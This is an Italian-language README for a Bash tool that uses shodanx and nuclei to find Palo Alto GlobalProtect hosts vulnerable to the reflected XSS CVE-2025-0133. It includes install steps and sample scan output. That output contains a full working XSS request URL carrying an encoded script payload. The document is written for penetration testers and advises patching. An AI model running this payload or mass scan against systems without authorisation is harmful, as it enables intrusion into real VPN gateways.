inteleon404/cve-2025-0133Vulnerabilità di Reflected XSS trovata in Palo Alto GlobalProtect Gateway & Portal. Gli attaccanti possono iniettare script dannosi tramite richieste appositamente formulate.
Uno strumento di scansione automatizzato basato su Bash per rilevare la vulnerabilità XSS riflesso CVE-2025-0133 in Palo Alto GlobalProtect Gateway & Portal utilizzando nuclei e shodanx.
Autore:
Data: 2025-06-23
Gravità: Media
ID CVE: CVE-2025-0133
Tipo di vulnerabilità: Cross-Site Scripting riflesso (XSS)
Testato su: Palo Alto Networks GlobalProtect Portal (PAN-OS)
Questo strumento aiuta i penetration tester e i ricercatori di sicurezza a identificare rapidamente domini o IP vulnerabili correlati al problema CVE-2025-0133.
Sfrutta i template di nuclei e l'integrazione delle query Shodan (shodanx) per trovare e scansionare i target in modo efficiente.
shodanx su singoli domini per raccogliere host correlatinuclei con un template personalizzato CVE-2025-0133 per scansionare i target.txt che .json$PATHCVE-2025-0133 situato in:/home/user/nuclei-templates/http/cves/2025/CVE-2025-0133.yaml (aggiornare il percorso se necessario)pip install git+https://github.com/RevoltSecurities/ShodanX
Se viene visualizzato l'errore: "error: externally-managed-environment"
pip install git+https://github.com/RevoltSecurities/ShodanX --break-system-packages
⚠️ Nota: L'opzione
--break-system-packagesè necessaria su alcuni sistemi (specialmente Debian/Ubuntu) per consentire a pip di installare pacchetti al di fuori di un ambiente virtuale senza errori di autorizzazione.
👉 Assicurati che shodanx sia disponibile nel tuo $PATH.
Puoi verificarlo con:
shodanx -h
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
Verifica se è installato:
nuclei -version
Quindi aggiorna i template:
nuclei -update-templates
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh -h
Usage: ./cve20250133.sh <domain-or-file>
Scan CVE-2025-0133 vulnerabilities using nuclei and shodanx.
If input is a file, scan domains/IPs from the file.
If input is a domain, run shodanx to find related IPs/domains and scan them.
Options:
-h, --help, help Show this help message and exit.
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh domain.com
Scan Start Time: 2025-06-24 16:33:51
▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ █▌▟▖▄▌▄▌
-ＩＮＴＥＬＥＯＮ４０４
[✔] Input is a single domain: domain.com — Running ShodanX first
_ _
| | | (_\ /
, | | __ __| __, _ _ \/
/ \_|/ \ / \_/ | / | / |/ | /\
\/ | |_/\__/ \_/|_/\_/|_/ | |_/ _/ \_/
- RevoltSecurities
[version]:shodanx current version v1.1.1 (latest)
[*] Scanning domain 123.45.67.890...
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.5
projectdiscovery.io
[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 850.496188ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh file.txt
Scan Start Time: 2025-06-24 16:36:37
▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ █▌▟▖▄▌▄▌
-ＩＮＴＥＬＥＯＮ４０４
[✔] Input is a file: file.txt — Skipping ShodanX
[*] Scanning domain 123.45.67.890 ...
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.5
projectdiscovery.io
[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 28.825193ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------
Vulnerabilità di Cross-Site Scripting riflesso (XSS) in Palo Alto GlobalProtect Gateway & Portal che consente agli attaccanti di iniettare script dannosi tramite richieste appositamente create. Aggiorna i tuoi sistemi alle ultime release di Palo Alto Networks per mitigare questo problema.
Questo progetto è concesso in licenza sotto la MIT License - consulta il file LICENSE per i dettagli.